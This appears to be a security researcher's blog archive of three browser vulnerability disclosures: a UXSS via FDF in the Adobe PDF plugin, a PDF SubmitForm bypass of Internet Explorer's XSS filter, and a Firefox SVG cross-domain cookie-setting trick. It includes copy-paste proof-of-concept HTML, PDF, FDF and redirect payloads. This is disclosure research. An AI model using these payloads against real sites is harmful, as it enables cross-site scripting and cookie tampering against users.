Wednesday, May 24, 2017

PDF - FDF UXSS via trusted document (spoiler - requires a click :/ )


FDF: the file Forms Data Form

In this blogpost I disclose some additional information about a vulnerability I showed during my presentation at Appsec Belfast 2017. 
In the presentation I showed that it is possible to trigger JavaScript execution in any web page as soon as a PDF is trusted.
Although I am aware that a trusted PDF has quite a lot of permissions, I want to explain in this post how FDF can be used to execute JavaScript in a targeted domain.

!NOTE: THIS ONLY WORKS WITH THE ADOBE PDF BROWSER PLUGIN!

What is FDF

In this post I am not going to talk about PDF at all, as the used PDF for this attack does not matter. It just needs to be properly rendered inside the browser and be hosted on the same domain as the injected FDF (eg. your own server like http://attacker.com).

So what is FDF. FDF is a file structure, which allows to exchange field values, Javascript, annotations (eg. comments) and other information between PDFs. There are different ways to load this type of files into a PDF, but I will focus on one particular as it is the simplest one.
The structure of a FDF is defined in the PDF standard: Link to the standard:

It has a similar structure to PDF but I am not going into any details.  The reason being is that FDF defines two keys in his root structure we are going to use for this attack:


/F: The source file or target file: the PDF document file that this FDF file was exported from or is intended to be imported into. 

/Target: The name of a browser frame in which the underlying PDF document is to be opened. This mimics the behavior of the target attribute in HTML tags. 


Basically these two keys allow us to define the PDF, which the FDF belongs to and the window name it is currently loaded.


What do you think happens if we define the following keys:

/F (javascript:alert(location))
/Target (anywindowname)


As long as the PDF, which loads the FDF, is not trusted, you will get a warning box that tells you that certain features are blocked and you need to trust this PDF.
As soon as you trust the PDF, the specified URL in /F key is actually injected in the targeted window name. If it happens to be that the tab, with the specified name, has eg. google.com loaded, the JavaScript will be executed in the context of google.com.

By looking at the specified index.html, you will see that I use the PDF open parameters to load a FDF file. The specification for this behaviour can be found here: PDF open parameters


But enough of the details. Here is a step by step guide, with the payloads copy&paste ready:

1. Save index.html, test.pdf and test.fdf in the root of your web server. My index.html script assumes your web server runs on 127.0.0.1. 
2. Open http://127.0.0.1/index.html in IE (with the Adobe PDF plugin installed) 
3. Click: Load Victim Page (this opens a new tab)
4. Click: Load PDF
5. You will see a yellow warning sign. Click trust this document once
6. Given that my PDF is really simple, you will get a dialog: There was an error parsing this pdf document (just ignore it, you could also use a valid PDF, but then I couldn't copy&paste it in my blog because of the size)
7. After you clicked that you trusted the document once, nothing will happen but the yellow warning sign is not displayed.
8. Click the UXSS button. An alert should show up in the victim page (in my default example: google.com)


// Edit: https://twitter.com/evilcos was so kind to host the PoC on his webserver.
// He modified the FDF payload, so that document.cookie will be alerted
==> http://xssor.io/s/pdf.html

If any problems occur: Write me on twitter @insertscript:
Note: Why I am disclosing this? It requires clicks and yes I am aware that clickjacking could help but given that most of the time users only need to click once or maybe twice to execute a local program, I feel quite safe disclosing this vulnerability. 
Maybe you find a way to bypass the warning popup! 



//index.html
<!DOCTYPE html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8" />
</head>
<body>
<h2>Enter URL you want to UXSS</h2>
<input name="url" type="text" value="https://google.at" id="url"/>
<button value="Fire1" onclick="step1()">Load Victim page</button><br><br>
<h2> Yeah lets load the PDF</h2>
<h2> As you will see you need to click: trust this document once</h2>
<button onclick="step2()">Load PDF</button>
<br><br>
<h2>Click to alert the location of the victim!</h2>
<button onclick="step3()">UXSS</button>
<br><br>
<div id="placeholder"/>
<script>
function step1(){
w = window.open(url.value,"attack");
}

function step2(){
a = document.createElement("iframe");
a.height = 1000;
a.width = 1000;
a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"
placeholder.appendChild(a);
}
function step3(){
a = document.createElement("iframe");
a.height = 0;
a.width = 0;
a.frameborder = 0;
a.src="/test.pdf#FDF=http://127.0.0.1//test.fdf"
placeholder.appendChild(a);
}
</script>


//test.pdf
%PDF-1.1

trailer
<< 
/Root 1 0 R
>> 

1 0 obj
<< 
/Type /Catalog
/Pages 2 0 R
>> 
endobj

2 0 obj
<< 
/Type /Action
/S /URI
>> 
endobj

%%EOF

//test.fdf
%FDF-1.2
%âãÏÓ
1 0 obj
<</FDF<</Annots[2 0 R]
/Target (attack)
/F (javascript:alert(location))
/ID[<9DE1D53EE27B8342ABAF121AB257E7EA><4370C7654ACB0D429DF932C95FF78175>]
>>/Type/Catalog>>
endobj
2 0 obj
<< 
/C[1.0 1.0 1.0]
/Contents(HALL2O)
/CreationDate(D:20160821215706+02'00')
/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)
/DS(font: Helvetica,sans-serif 12.0pt; text-align:left; color:#E52237 )
/F 4
/M(D:20160821215711+02'00')
/NM(e85d1cb2-2c79-40f5-a2a2-83708ab127c9)
/Page 0
/RC(<?xml version="1.0"?><body xmlns="http://www.w3.org/1999/xhtml" xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/" xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2"  style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\
al;font-family:Helvetica,sans-serif;font-stretch:normal"><p dir="ltr"><span style="font-family:Helvetica">Hjj</span></p></body>)
/Rect[0 0 0 0]
/Subj(Textfeld)
/Subtype/FreeText
/T(johnny)
/Type/Annot
>> 
endobj

trailer
<</Root 1 0 R>>
%%EOF





Sunday, January 22, 2017

Internet Explorer XSS Filter Bypass for POST with PDF


IE XSS Filter Bypass with PDF


I recently discovered an interesting issue in Internet Explorer regarding bypassing the XSS filter, which I am going to share with you.
Once again, assume the following scenario. The website on example.com suffers from a reflected XSS vulnerability in a POST payload:

test.php
<h1>xss test</h1>
<?php echo $_POST['xss']; ?>
<div>end</div>


Assuming the web page sets all the necessary headers, a post payload like xss=<script>alert(1)</script> will trigger the XSS filter and be caught.
Let's bypass this restriction:


PDF - SubmitForm Action


The PDF specification describes the SubmitForm action, which allows PDF to submit the AcroForm in different formats. One of the possible formats is HTML. Additionally it is possible to specify if a GET or POST request should be used. The response is rendered in the web browser. 
While playing with the feature I discovered that Internet Explorer will never trigger the XSS filter for sent POST requests. This allows to abuse a reflected XSS vulnerability with any payload, without worrying about the XSS filter. 
The following PDF will automatically submit a POST request to http://example.com/test.php. The payload contains xss=<script>alert(1)</script>:

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 33 0 R
/AcroForm 22 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Annot [ 23 0 R ]
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj

33 0 obj
<<
/S /SubmitForm
/F
        <<
        % URL TO SUBMIT TO:
        /F (http://example.com/test.php)
        /FS /URL
        >>
% SPECIFIES THE FORMAT AND OTHER FORM RELATED CONFIGURATION
/Flags 6
>>
endobj

22 0 obj
<<
    /Fields [23 0 R]
>>
endobj
23 0 obj
<<
    /DA (/Helv 12 Tf 0 g)
    /F 4
    /FT /Tx
    /Rect [ 9.526760 680.078003 297.527008 702.078003 ]
    /Subtype /Widget
    /Type /Annot
    % PARAMETER NAME
    /T (xss)
    % PARAMETER PAYLOAD
    /V (<script>alert\(1\)</script>)
    /P 4 0 R
>>
endobj
trailer
<<
/Root 1 0 R
>>


Just try it yourself. If you have any question, feel free to contact me on twitter.
To stop the attack from working, you need to enable Protected View: https://helpx.adobe.com/reader/using/protected-mode-windows.html


Tuesday, December 6, 2016

Firefox - SVG cross domain cookie vulnerability

SVG - Setting cookies cross domain via img tag


I recently read that browsers allow to use meta tags to set cookies. I am not sure if I just forgot about this feature or never used it before. As I played with SVG in the past I decided to give it a try. 
The SVG standard does not include the meta tag but it supports the foreignobject tag:

The <foreignObject> SVG element allows for inclusion of a foreign XML namespace which has its graphical content drawn by a different user agent.

An simple example taken from mdn shows how to use the XHTML namespace inside a SVG file:
<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">
<!-- XHTML content goes here -->
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>Here is a paragraph that requires word wrap</p>
      </body>
</foreignObject>

Setting the cookie


I adapted the example and pointed the Browser to the following SVG:
<svg xmlns='http://www.w3.org/2000/svg'>
<circle r='100'>
</circle>
<foreignObject>
<html xmlns='http://www.w3.org/1999/xhtml'>
<meta http-equiv='Set-Cookie' content='ppp=qqq' />
</html>
</foreignObject>
</svg>
The hosting domain now has a cookie ppp=qqq.
The next step was to try, what will happen if another domain is loading this SVG file:
// Domain: http://example.com
<!DOCTYPE html>
<body>
<img src="http://attacker.com/cookie.svg">
</body>
Sadly the cookie was set for attacker.com, not for example.com.

Redirects + data uris

The final trick to make things work was to use the data: protocol handler and redirects.
Assume the following code on the domain example.com
<!DOCTYPE html>
<body>
<img src="http://attacker.com/cookie">
</body>
The webserver at attacker.com uses the following response code:

HTTP 302 Found
Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>


As soon as I opened this test case in Firefox, a cookie was set for example.com. This can introduce a lot of different vulnerabilities for web pages, which allow to include images from external/third party sites.
Another issue popped up during the investigation of the issue via the firefox team, which can be read here as soon it is public:
https://bugzilla.mozilla.org/show_bug.cgi?id=1317641#c20

The bug bounty decision is still in progress.

I have to thank my Cure53 mates, who helped playing with this vulnerability (especially Masato)
:)